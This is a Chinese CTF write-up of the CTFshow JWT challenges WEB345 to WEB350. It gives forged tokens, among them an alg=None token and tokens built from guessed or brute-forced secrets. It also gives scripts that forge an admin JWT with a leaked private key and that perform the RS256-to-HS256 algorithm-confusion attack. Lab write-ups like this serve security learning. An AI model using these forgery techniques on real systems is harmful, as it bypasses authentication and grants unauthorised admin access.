jwt基础介绍以及攻击技巧:
JSON Web Token (JWT) 攻击技巧 - 先知社区 (aliyun.com)
jwt解密网站:
WEB345
有点无语,不知道为啥原来wp能打通的payload到我这里就打不通了...
正常应该是把sub的user改成admin再base64就行了,不过打不通...如果是无算法的话好像不能加前面的header部分就能过,如果是有算法(比如改成HS256)就需要加header才可以过...不知道为什么...
payload:
W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2NDk0NzEyNjIsImV4cCI6MTY0OTQ3ODQ2MiwibmJmIjoxNjQ5NDcxMjYyLCJzdWIiOiJhZG1pbiIsImp0aSI6IjFjYmYwODI5YTg2MjU5ZDEzMDE3MzUyN2MwZmQ2OTkxIn1d
WEB346
header部分alg值改成None即可,注意由于这里本身jwt是带签名的,所以我们需要在后面加一个点
payload:
eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0OTQ3MTgzNywiZXhwIjoxNjQ5NDc5MDM3LCJuYmYiOjE2NDk0NzE4MzcsInN1YiI6ImFkbWluIiwianRpIjoiYjJkOTZhY2VkZmY1Yzc0OTVkZDQzMjNiZjQ5MzFiMTUifQ.
WEB347
盲猜密钥123456,在网站上在线生成就ok
WEB348
直接用brendan-rius/c-jwt-cracker: JWT brute force cracker written in C (github.com)工具爆破就行
使用:./jwtcrack <jwt>
密钥:aaab
然后放到网站在线生成即可
WEB349
给了源码:
/* GET home page. */ router.get('/', function(req, res, next) { res.type('html'); var privateKey = fs.readFileSync(process.cwd()+'//public//private.key'); var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' }); res.cookie('auth',token); res.end('where is flag?'); }); router.post('/',function(req,res,next){ var flag="flag_here"; res.type('html'); var auth = req.cookies.auth; var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key jwt.verify(auth, cert, function(err, decoded) { if(decoded.user==='admin'){ res.end(flag); }else{ res.end('you are not admin'); } }); });
看来跟公私钥有关,那就把公私钥下载下来
这里有一个要注意的地方,process.cwd()方法返回 Node.js 进程的当前工作目录,而这个目录应该是public目录的上级目录,而你访问的网址应该是放在public目录里面的,由于没有指定文件名所以转发到了index.js。所以,public.key和private.key应该也是在public下,是同级目录。要下载这两个文件直接在网址后面加文件名即可,如:
http://fecc1258-9e76-45e5-857f-eacb2df12e35.challenge.ctf.show/public.key
而不用
http://fecc1258-9e76-45e5-857f-eacb2df12e35.challenge.ctf.show/public/public.key
下载了两个文件,按照官方文档伪造jwt应该用私钥,参见Usage Examples — PyJWT 2.3.0 documentation
脚本:
import jwt private=open('private.key','r').read() print(jwt.encode({ "user": "admin", "iat": 1649487986 },key=private,algorithm='RS256'))
生成的jwt即可通过认证,注意要用POST方法访问
WEB350
这道题私钥未知,但是公钥已知,所以我们可以通过改算法的方式,把RS256改成HS256
参见JSON Web Token (JWT) 攻击技巧 - 先知社区 (aliyun.com)里有说明
有个小坑,用python的jwt库生成的jwt过不了,必须跟源码一样用js生成的jwt才能过,估计是版本的问题,尽量跟题目一样吧
脚本:
var express = require('express'); var router = express.Router(); var jwt = require('jsonwebtoken'); var fs = require('fs'); /* GET home page. */ router.get('/', function(req, res, next) { res.type('html'); var publickey = fs.readFileSync(process.cwd()+'/routes/public.key'); var token = jwt.sign({ user: 'admin' }, publickey, { algorithm: 'HS256' }); console.log(token); res.render('index', { title: 'Express' }); }); module.exports = router;
参考三位师傅的链接:
CTFSHOW jwt篇_yu22x的博客-CSDN博客_ctf jwt
文章评论